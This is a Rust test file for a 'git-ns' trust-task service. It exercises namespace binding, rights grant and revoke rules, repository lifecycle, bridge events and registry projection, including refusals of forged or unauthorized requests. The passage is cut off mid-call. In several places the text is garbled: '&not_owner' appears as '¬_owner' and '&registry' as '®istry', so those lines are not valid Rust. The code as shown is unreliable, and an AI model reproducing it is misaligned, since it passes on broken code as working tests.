#![allow(clippy::unwrap_used, clippy::expect_used)]
use std::sync::{Arc, Mutex};
use std::time::Duration;
use async_trait::async_trait;
use serde_json::{Value, json};
use trust_tasks_rs::TrustTask;
use trust_tasks_rs::specs::git_ns::bridge::job::v0_4 as job_wire;
use trust_tasks_rs::specs::git_ns::namespace::reseat::v0_3 as reseat3;
use vti_rooms_dtg::test_support::Party;
use crate::acl::{VtcAclEntry, VtcRole, store_acl_entry};
use crate::registry::MockRegistryClient;
use crate::server::AppState;
use crate::test_support::{TEST_VTC_DID, TestVtc};
use crate::trust_tasks::{JoinAuthCtx, TrustTaskOutcome, dispatch_trust_task_core};
use super::GitNsConfig;
use super::bridge::{BridgeClient, BridgeSendError};
use super::model::{RepoState, Scope};
use super::projection::{self, Backoff};
use super::store::{self, Snapshot};
const URI: &str = "https://trusttasks.org/spec/git-ns";
const RESEAT_URI: &str = <reseat3::Payload as trust_tasks_rs::Payload>::TYPE_URI;
fn uri(task: &str) -> String {
let version = match task {
"right/grant" | "right/revoke" | "repo/create" => "0.3",
_ => "0.1",
};
format!("{URI}/{task}/{version}")
}
#[test]
fn reseat_0_3_requires_a_proof_and_a_did_core_subject() {
const { assert!(<reseat3::Payload as trust_tasks_rs::Payload>::IS_PROOF_REQUIRED) };
let p: reseat3::Payload = serde_json::from_value(json!({
"namespace": "ns_1", "subject": "did:key:z6Mkcarol", "statement": "why"
}))
.unwrap();
assert_eq!(p.subject.to_string(), "did:key:z6Mkcarol");
assert!(
serde_json::from_value::<reseat3::Payload>(json!({
"namespace": "ns_1", "subject": "did:key:z6Mk#frag", "statement": "why"
}))
.is_err()
);
}
#[derive(Default)]
struct FakeBridge {
jobs: Mutex<Vec<(String, Value)>>,
race: Mutex<Option<vti_common::store::KeyspaceHandle>>,
pre_v0_4: Mutex<bool>,
types: Mutex<Vec<String>>,
discoveries: Mutex<u32>,
takes_v0_5: Mutex<bool>,
}
#[async_trait]
impl BridgeClient for FakeBridge {
async fn discover_jobs(
&self,
_bridge_did: &str,
_timeout: Duration,
) -> Result<Vec<String>, BridgeSendError> {
*self.discoveries.lock().unwrap() += 1;
if *self.pre_v0_4.lock().unwrap() {
return Err(BridgeSendError::Rejected {
code: "unsupportedType".into(),
message: "this bridge handles git-ns/bridge/job only".into(),
});
}
let mut types = vec![super::bridge::JOB_TYPE.to_string()];
if *self.takes_v0_5.lock().unwrap() {
types.push(super::bridge::JOB_TYPE_V0_5.to_string());
}
Ok(types)
}
async fn send_job(
&self,
bridge_did: &str,
type_uri: &str,
payload: &Value,
_timeout: Duration,
) -> Result<job_wire::Response, BridgeSendError> {
if *self.pre_v0_4.lock().unwrap() {
return Err(BridgeSendError::Rejected {
code: "unsupportedType".into(),
message: "this bridge handles git-ns/bridge/job 0.1 and 0.2".into(),
});
}
self.jobs
.lock()
.unwrap()
.push((bridge_did.to_string(), payload.clone()));
self.types.lock().unwrap().push(type_uri.to_string());
let racing = self.race.lock().unwrap().clone();
if let Some(ks) = racing
&& let Some(id) = payload["jobId"].as_str()
&& let Some(mut job) = super::bridge::get_job(&ks, id).await.unwrap()
{
job.state = super::bridge::JobState::Succeeded;
job.result = Some(json!({ "jobId": id, "outcome": "succeeded" }));
super::bridge::put_job(&ks, &job).await.unwrap();
}
let mut ack = json!({ "jobId": payload["jobId"], "accepted": true });
if matches!(
payload["kind"].as_str(),
Some("beginBind" | "beginAccountLink")
) {
ack["next"] = json!({
"url": "https://github.com/apps/acme-vgi/installations/new?state=nonce",
"expiresAt": "2099-01-01T00:00:00Z",
});
}
Ok(serde_json::from_value(ack).unwrap())
}
}
struct Fixture {
vtc: TestVtc,
bridge: Arc<FakeBridge>,
admin: Party,
bob: Party,
carol: Party,
stranger: Party,
bridge_party: Party,
}
async fn seed_acl(state: &AppState, did: &str, role: VtcRole) {
store_acl_entry(
&state.acl_ks,
&VtcAclEntry {
did: did.into(),
admin: role.implied_authority(),
delegated_by: None,
role,
label: None,
created_at: 0,
created_by: "test".into(),
updated_at: None,
updated_by: None,
expires_at: None,
resource_grants: Vec::new(),
label_set_by_subject: false,
suspension: None,
},
)
.await
.unwrap();
crate::members::store_member(&state.members_ks, &crate::members::Member::fresh(did))
.await
.unwrap();
}
async fn fixture_with(config: GitNsConfig) -> Fixture {
let bridge = Arc::new(FakeBridge::default());
let bridge_party = Party::new();
let mut config = config;
config
.bridges
.insert("github.com".into(), bridge_party.did.clone());
let vtc = TestVtc::builder()
.with_audit(true)
.with_signers(true)
.with_git_ns_bridge(bridge.clone())
.with_git_ns_config(config)
.build()
.await;
crate::policy::default::install_defaults(&vtc.state.policies_ks, &vtc.state.active_policies_ks)
.await
.unwrap();
let f = Fixture {
vtc,
bridge,
admin: Party::new(),
bob: Party::new(),
carol: Party::new(),
stranger: Party::new(),
bridge_party,
};
seed_acl(&f.vtc.state, &f.admin.did, VtcRole::Admin).await;
seed_acl(&f.vtc.state, &f.bob.did, VtcRole::Member).await;
seed_acl(&f.vtc.state, &f.carol.did, VtcRole::Member).await;
f
}
async fn fixture() -> Fixture {
fixture_with(GitNsConfig::default()).await
}
async fn send(state: &AppState, who: &Party, task: &str, payload: Value) -> TrustTaskOutcome {
let mut doc: TrustTask<Value> =
vta_sdk::trust_task_sign::build_unsigned(&uri(task), payload, &who.did, TEST_VTC_DID)
.unwrap();
let key =
vta_sdk::trust_task_sign::HolderKey::from_did_key(&who.did, &who.secret_multibase).unwrap();
vta_sdk::trust_task_sign::sign_in_place_with(&mut doc, &key)
.await
.unwrap();
let body = serde_json::to_vec(&doc).unwrap();
dispatch_trust_task_core(state, &JoinAuthCtx::rest(), &body).await
}
fn test_waived_op() -> super::single_admin::WaivedOp<'static> {
static PAYLOAD: std::sync::OnceLock<Value> = std::sync::OnceLock::new();
super::single_admin::WaivedOp {
type_uri: "https://trusttasks.org/spec/git-ns/drift/resolve/0.3",
payload: PAYLOAD.get_or_init(|| json!({})),
kind: "drift.adopt",
}
}
fn payload(out: &TrustTaskOutcome) -> Value {
let doc: Value = serde_json::from_slice(&out.body).unwrap();
doc["payload"].clone()
}
fn message(out: &TrustTaskOutcome) -> String {
payload(out)["message"]
.as_str()
.unwrap_or_default()
.to_string()
}
fn code(out: &TrustTaskOutcome) -> String {
let p = payload(out);
assert!(
p.get("code").is_some(),
"expected an error, got {}",
String::from_utf8_lossy(&out.body)
);
p["code"].as_str().unwrap().to_string()
}
fn ok(out: &TrustTaskOutcome) -> Value {
assert!(
out.status.is_success() && payload(out).get("code").is_none(),
"expected success, got {} {}",
out.status,
String::from_utf8_lossy(&out.body)
);
payload(out)
}
async fn bind_manual(f: &Fixture) -> String {
let out = send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "manual" }),
)
.await;
ok(&out)["namespace"]["id"].as_str().unwrap().to_string()
}
async fn grant(
f: &Fixture,
actor: &Party,
subject: &str,
right: &str,
resource: &str,
) -> TrustTaskOutcome {
send(
&f.vtc.state,
actor,
"right/grant",
json!({ "subject": subject, "right": right, "resource": resource }),
)
.await
}
#[tokio::test]
async fn bind_manual_is_bound_at_once_and_the_binder_is_its_admin() {
let f = fixture().await;
let id = bind_manual(&f).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.namespace(&id).unwrap();
assert_eq!(ns.state, super::model::NamespaceState::Bound);
assert_eq!(
super::rules::admins(&snap, &id, super::ops::now()),
vec![f.admin.did.clone()]
);
}
#[tokio::test]
async fn bind_item_1_needs_the_community_administrator_capability() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.bob,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "manual" }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn bind_item_2_refuses_an_owner_already_bound() {
let f = fixture().await;
bind_manual(&f).await;
let out = send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "manual" }),
)
.await;
assert_eq!(code(&out), "git-ns/namespace/bind:alreadyBound");
}
#[tokio::test]
async fn bind_item_4_refuses_bridge_mode_with_no_bridge_for_the_forge() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "codeberg.org", "owner": "acme", "mode": "bridge" }),
)
.await;
assert_eq!(code(&out), "git-ns/namespace/bind:noBridge");
}
#[tokio::test]
async fn bind_bridge_is_pending_until_the_bridge_reports_the_proof() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await;
let body = ok(&out);
assert_eq!(body["namespace"]["state"], "pending");
assert!(
body["next"]["url"]
.as_str()
.unwrap()
.contains("state=nonce")
);
let ns_id = body["namespace"]["id"].as_str().unwrap().to_string();
let job_id = f.bridge.jobs.lock().unwrap()[0].1["jobId"]
.as_str()
.unwrap()
.to_string();
let refused = grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await;
assert_eq!(code(&refused), "git-ns:namespaceNotBound");
let event = json!({
"namespace": ns_id,
"event": { "type": "bindCompleted", "jobId": job_id, "ownerId": "91827364", "kind": "organization" },
});
let forged = send(&f.vtc.state, &f.stranger, "bridge/event", event.clone()).await;
assert_eq!(code(&forged), "permissionDenied");
ok(&send(&f.vtc.state, &f.bridge_party, "bridge/event", event.clone()).await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.namespace(&ns_id).unwrap();
assert_eq!(ns.state, super::model::NamespaceState::Bound);
assert_eq!(ns.owner_id.as_deref(), Some("91827364"));
assert_eq!(
super::rules::admins(&snap, &ns_id, super::ops::now()),
vec![f.admin.did.clone()],
"the administrator who asked receives git.ns.admin"
);
let again = send(&f.vtc.state, &f.bridge_party, "bridge/event", event).await;
assert_eq!(code(&again), "permissionDenied");
}
#[tokio::test]
async fn an_event_for_an_unknown_namespace_is_refused() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": "ns_nope", "event": { "type": "installationRemoved" } }),
)
.await;
assert_eq!(code(&out), "git-ns:unknownNamespace");
}
#[tokio::test]
async fn unbind_revokes_everything_and_detaches_every_repository() {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await);
let out = send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await;
let body = ok(&out);
assert_eq!(body["rightsRevoked"], 3, "ns.admin, repo.create, own");
assert_eq!(body["reposDetached"], 1);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(snap.namespace(&ns).is_none());
assert!(snap.rights.is_empty());
assert!(snap.repos.iter().all(|r| r.state == RepoState::Detached));
}
#[tokio::test]
async fn grant_rule_1_a_repository_right_on_a_namespace_is_a_scope_violation() {
let f = fixture().await;
bind_manual(&f).await;
let out = grant(&f, &f.admin, &f.bob.did, "git.repo.own", "github.com/acme").await;
assert_eq!(code(&out), "git-ns:scopeViolation");
}
#[tokio::test]
async fn grant_rule_2_repo_create_is_not_re_delegable() {
let f = fixture().await;
bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
let out = grant(
&f,
&f.bob,
&f.carol.did,
"git.repo.create",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "git-ns:escalation");
}
#[tokio::test]
async fn grant_rule_2_nothing_held_is_permission_denied() {
let f = fixture().await;
bind_manual(&f).await;
let out = grant(
&f,
&f.bob,
&f.carol.did,
"git.commit.sign",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn grant_rule_5_namespace_rights_go_to_members_only() {
let f = fixture().await;
bind_manual(&f).await;
let out = grant(
&f,
&f.admin,
&f.stranger.did,
"git.ns.admin",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "git-ns:membersOnly");
}
#[tokio::test]
async fn grant_rule_6_the_default_policy_refuses_external_signers() {
let f = fixture().await;
bind_manual(&f).await;
let out = grant(
&f,
&f.admin,
&f.stranger.did,
"git.commit.sign",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "git-ns:policyDenied");
}
#[tokio::test]
async fn grant_item_2_a_resource_in_no_namespace_is_unknown() {
let f = fixture().await;
let out = grant(
&f,
&f.admin,
&f.bob.did,
"git.commit.sign",
"codeberg.org/acme",
)
.await;
assert_eq!(code(&out), "git-ns:unknownNamespace");
}
#[tokio::test]
async fn grant_item_3_an_unrecorded_repository_is_unknown() {
let f = fixture().await;
bind_manual(&f).await;
let out = grant(
&f,
&f.admin,
&f.bob.did,
"git.commit.sign",
"github.com/acme/nope",
)
.await;
assert_eq!(code(&out), "git-ns:unknownRepo");
}
#[tokio::test]
async fn grant_item_5_an_expiry_in_the_past_is_refused() {
let f = fixture().await;
bind_manual(&f).await;
let out = send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({
"subject": f.bob.did, "right": "git.commit.sign", "resource": "github.com/acme",
"expiresAt": "2020-01-01T00:00:00Z",
}),
)
.await;
assert_eq!(code(&out), "git-ns/right/grant:expiryInPast");
}
#[tokio::test]
async fn grant_item_6_a_repeated_grant_returns_the_record_unchanged() {
let f = fixture().await;
bind_manual(&f).await;
let first = ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.bob.did, "right": "git.commit.sign", "resource": "github.com/acme", "reason": "first" }),
)
.await);
let second = ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.bob.did, "right": "git.commit.sign", "resource": "github.com/acme", "reason": "second" }),
)
.await);
assert_eq!(first["right"], second["right"]);
assert_eq!(second["right"]["reason"], "first");
}
#[tokio::test]
async fn elevated_actions_fall_back_to_community_administrators() {
let f = fixture().await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await);
let out = grant(
&f,
&f.bob,
&f.carol.did,
"git.repo.own",
"github.com/acme/gadgets",
)
.await;
assert_eq!(code(&out), "permissionDenied");
ok(&grant(
&f,
&f.bob,
&f.carol.did,
"git.commit.sign",
"github.com/acme/gadgets",
)
.await);
}
#[tokio::test]
async fn create_in_a_manual_namespace_reserves_and_returns_manual_steps() {
let f = fixture().await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
let out = send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await;
let body = ok(&out);
assert_eq!(body["repo"]["state"], "pendingCreate");
assert_eq!(body["repo"]["owners"], json!([f.bob.did]));
let steps = body["manualSteps"].as_array().unwrap();
assert!(
steps
.last()
.unwrap()
.as_str()
.unwrap()
.contains("cnm git adopt")
);
let again = send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await;
assert_eq!(code(&again), "git-ns/repo/create:nameTaken");
let view = projection::ProjectionView::load(&f.vtc.state)
.await
.unwrap();
let want = projection::desired(&view, super::ops::now());
assert!(want.keys().all(|k| !k.contains("gadgets")));
}
#[tokio::test]
async fn create_needs_repo_create() {
let f = fixture().await;
let ns = bind_manual(&f).await;
let out = send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn create_on_an_implied_repo_create_refuses_the_creator_as_owner() {
let f = fixture().await;
let ns = bind_manual(&f).await;
for body in [
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
json!({ "namespace": ns, "name": "gadgets", "visibility": "public", "owners": [f.admin.did, f.bob.did] }),
] {
let out = send(&f.vtc.state, &f.admin, "repo/create", body).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(
payload(&out)["message"]
.as_str()
.unwrap()
.contains("break-glass")
);
}
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
snap.repo_at("github.com/acme/gadgets").is_none(),
"nothing reserved"
);
}
#[tokio::test]
async fn create_on_an_implied_repo_create_may_name_another_owner() {
let f = fixture().await;
let ns = bind_manual(&f).await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
assert_eq!(body["repo"]["owners"], json!([f.bob.did]));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at("github.com/acme/gadgets").unwrap();
let rows = snap.rows(&Scope::Repo(repo.id.clone()));
assert!(rows.iter().any(|r| r.subject == f.bob.did
&& r.right == super::model::Right::RepoOwn
&& r.granted_by == f.admin.did));
assert!(!rows.iter().any(|r| r.subject == f.admin.did));
let stranger = Party::new();
let out = send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "sprockets", "visibility": "public", "owners": [stranger.did] }),
)
.await;
assert_eq!(code(&out), "git-ns:membersOnly");
}
#[tokio::test]
async fn create_on_an_explicit_repo_create_makes_the_creator_owner() {
let f = fixture().await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
let body = ok(&send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await);
assert_eq!(body["repo"]["owners"], json!([f.bob.did]));
let out = send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "sprockets", "visibility": "public", "owners": [f.carol.did] }),
)
.await;
assert_eq!(code(&out), "git-ns:escalation");
}
#[tokio::test]
async fn break_glass_repo_create_then_create_makes_the_creator_owner() {
let f = fixture().await;
let ns = bind_manual(&f).await;
ok(&break_glass(&f, &f.admin, "git.repo.create", "github.com/acme").await);
for name in ["gadgets", "sprockets"] {
let body = ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": name, "visibility": "public" }),
)
.await);
assert_eq!(body["repo"]["owners"], json!([f.admin.did]), "{name}");
}
}
#[tokio::test]
async fn elevated_rights_go_only_to_members() {
let f = fixture().await;
let res = active_repo(&f).await;
let sock_puppet = Party::new();
for (right, on) in [
("git.repo.own", res.as_str()),
("git.repo.create", "github.com/acme"),
("git.ns.admin", "github.com/acme"),
] {
let out = grant(&f, &f.admin, &sock_puppet.did, right, on).await;
assert_eq!(code(&out), "git-ns:membersOnly", "{right}");
}
let out = send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": sock_puppet.did }),
)
.await;
assert_eq!(code(&out), "git-ns:membersOnly");
let out = send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [sock_puppet.did] }),
)
.await;
assert_eq!(code(&out), "git-ns:membersOnly");
}
#[tokio::test]
async fn adopt_activates_a_reservation_and_refuses_a_managed_repository() {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await);
let body = ok(&send(
&f.vtc.state,
&f.bob,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [f.carol.did] }),
)
.await);
assert_eq!(body["repo"]["state"], "active");
let owners = body["repo"]["owners"].as_array().unwrap();
assert_eq!(owners.len(), 2, "existing owners are kept and these added");
let again = send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [f.carol.did] }),
)
.await;
assert_eq!(code(&again), "git-ns/repo/adopt:alreadyManaged");
}
async fn active_repo(f: &Fixture) -> String {
let ns = bind_manual(f).await;
let _ = ns;
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.bob.did] }),
)
.await);
"github.com/acme/widgets".into()
}
#[tokio::test]
async fn transfer_moves_ownership_in_one_change() {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let res = active_repo(&f).await;
let not_owner = send(
&f.vtc.state,
&f.carol,
"repo/transfer",
json!({ "resource": res, "to": f.bob.did }),
)
.await;
assert_eq!(code(¬_owner), "git-ns/repo/transfer:notOwner");
let selfie = send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": f.bob.did }),
)
.await;
assert_eq!(code(&selfie), "git-ns/repo/transfer:selfTransfer");
let body = ok(&send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": f.carol.did }),
)
.await);
assert_eq!(body["repo"]["owners"], json!([f.carol.did]));
}
#[tokio::test]
async fn revoke_rules_3_and_4_keep_an_owner_and_an_admin() {
let f = fixture().await;
let res = active_repo(&f).await;
let out = send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.bob.did, "right": "git.repo.own", "resource": res }),
)
.await;
assert_eq!(code(&out), "git-ns:lastOwner");
let out = send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.admin.did, "right": "git.ns.admin", "resource": "github.com/acme" }),
)
.await;
assert_eq!(code(&out), "git-ns:lastAdmin", "resignations too");
let out = send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.commit.sign", "resource": res }),
)
.await;
assert_eq!(code(&out), "git-ns/right/revoke:notGranted");
}
#[tokio::test]
async fn revoke_is_open_to_the_subject_and_closed_to_bystanders() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
let bystander = send(
&f.vtc.state,
&f.stranger,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.commit.sign", "resource": res }),
)
.await;
assert_eq!(code(&bystander), "permissionDenied");
let body = ok(&send(
&f.vtc.state,
&f.carol,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.commit.sign", "resource": res }),
)
.await);
assert_eq!(body["revoked"]["subject"], json!(f.carol.did));
}
#[tokio::test]
async fn archive_revokes_every_commit_right_and_is_idempotent() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
let body = ok(&send(
&f.vtc.state,
&f.admin,
"repo/archive",
json!({ "resource": res }),
)
.await);
assert_eq!(body["repo"]["state"], "archived");
assert_eq!(body["rightsRevoked"], 1);
let body = ok(&send(
&f.vtc.state,
&f.admin,
"repo/archive",
json!({ "resource": res }),
)
.await);
assert_eq!(body["rightsRevoked"], 0);
let view = projection::ProjectionView::load(&f.vtc.state)
.await
.unwrap();
let want = projection::desired(&view, super::ops::now());
assert!(want.contains_key(&projection::tuple_key(&f.bob.did, "git.repo.own", &res)));
assert!(!want.contains_key(&projection::tuple_key(&f.bob.did, "git.commit.sign", &res)));
}
#[tokio::test]
async fn view_shows_reasons_only_to_those_who_govern_the_resource() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&send(
&f.vtc.state,
&f.bob,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.commit.sign", "resource": res, "reason": "1.0 push" }),
)
.await);
let carol = ok(&send(&f.vtc.state, &f.carol, "view", json!({})).await);
let rights = carol["rights"].as_array().unwrap();
assert_eq!(rights.len(), 1);
assert!(rights[0].get("reason").is_none());
assert_eq!(carol["repos"][0]["owners"], json!([f.bob.did]));
let bob = ok(&send(&f.vtc.state, &f.bob, "view", json!({ "resource": res })).await);
let reasons: Vec<&Value> = bob["rights"]
.as_array()
.unwrap()
.iter()
.filter_map(|r| r.get("reason"))
.collect();
assert_eq!(reasons, vec![&json!("1.0 push")]);
let out = send(&f.vtc.state, &f.stranger, "view", json!({})).await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn the_projection_publishes_implied_commit_rights_and_never_a_reason() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&send(
&f.vtc.state,
&f.bob,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.repo.maintain", "resource": res, "reason": "secret" }),
)
.await);
let registry = MockRegistryClient::new();
let mut backoff = Backoff::default();
let report = projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
assert_eq!(report.failed, 0);
let records = registry.trust_records().await;
let has = |e: &str, a: &str, r: &str| records.contains_key(&projection::tuple_key(e, a, r));
assert!(has(&f.admin.did, "git.ns.admin", "github.com/acme"));
assert!(has(&f.admin.did, "git.commit.sign", "github.com/acme"));
assert!(has(&f.bob.did, "git.repo.own", &res));
assert!(has(&f.bob.did, "git.commit.sign", &res));
assert!(has(&f.carol.did, "git.repo.maintain", &res));
assert!(has(&f.carol.did, "git.commit.sign", &res));
assert!(!has(&f.admin.did, "git.repo.own", &res));
for record in records.values() {
assert_eq!(record["authority_id"], TEST_VTC_DID);
assert_eq!(record["record_type"], "authorization");
assert!(record["context"].get("reason").is_none());
assert!(!record.to_string().contains("secret"));
}
let again = projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
assert_eq!((again.put, again.deleted), (0, 0));
ok(&send(
&f.vtc.state,
&f.bob,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.repo.maintain", "resource": res }),
)
.await);
let after = projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
assert_eq!(after.deleted, 2);
let records = registry.trust_records().await;
assert!(!records.contains_key(&projection::tuple_key(
&f.carol.did,
"git.commit.sign",
&res
)));
}
#[tokio::test]
async fn a_rename_withdraws_the_old_name_before_publishing_the_new() {
let f = fixture().await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f.bridge.jobs.lock().unwrap()[0].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" } }),
)
.await);
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.bob.did] }),
)
.await);
let inspect = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.find(|j| j.kind == super::bridge::JobKind::Inspect)
.unwrap();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": inspect.job_id, "outcome": "succeeded",
"repo": { "resource": "github.com/acme/widgets", "forgeId": "812736451" },
"steps": [
{ "step": "workflow", "outcome": "unchanged" },
{ "step": "keyring", "outcome": "unchanged" },
{ "step": "variables", "outcome": "unchanged" },
{ "step": "requiredCheck", "outcome": "unchanged" }
],
}),
)
.await);
let registry = MockRegistryClient::new();
let mut backoff = Backoff::default();
projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
let old = projection::tuple_key(&f.bob.did, "git.commit.sign", "github.com/acme/widgets");
assert!(registry.trust_records().await.contains_key(&old));
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "repoRenamed", "forgeId": "812736451", "from": "github.com/acme/widgets", "to": "github.com/acme/widgets-core" } }),
)
.await);
registry
.fail_next_trust_record(crate::registry::RegistryError::Transient("down".into()))
.await;
let held = projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
assert!(held.held_back > 0);
let new = projection::tuple_key(
&f.bob.did,
"git.commit.sign",
"github.com/acme/widgets-core",
);
assert!(!registry.trust_records().await.contains_key(&new));
let mut backoff = Backoff::default();
projection::reconcile(&f.vtc.state, ®istry, TEST_VTC_DID, &mut backoff)
.await
.unwrap();
let records = registry.trust_records().await;
assert!(records.contains_key(&new));
assert!(!records.contains_key(&old));
}
#[tokio::test]
async fn a_result_for_a_job_never_sent_is_unknown_and_only_the_bridge_reports() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({ "jobId": "job_nope", "outcome": "succeeded" }),
)
.await;
assert_eq!(code(&out), "git-ns/bridge/result:unknownJob");
}
#[tokio::test]
async fn create_in_a_bridge_organisation_activates_on_the_result() {
let f = fixture().await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f.bridge.jobs.lock().unwrap()[0].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" } }),
)
.await);
let out = ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
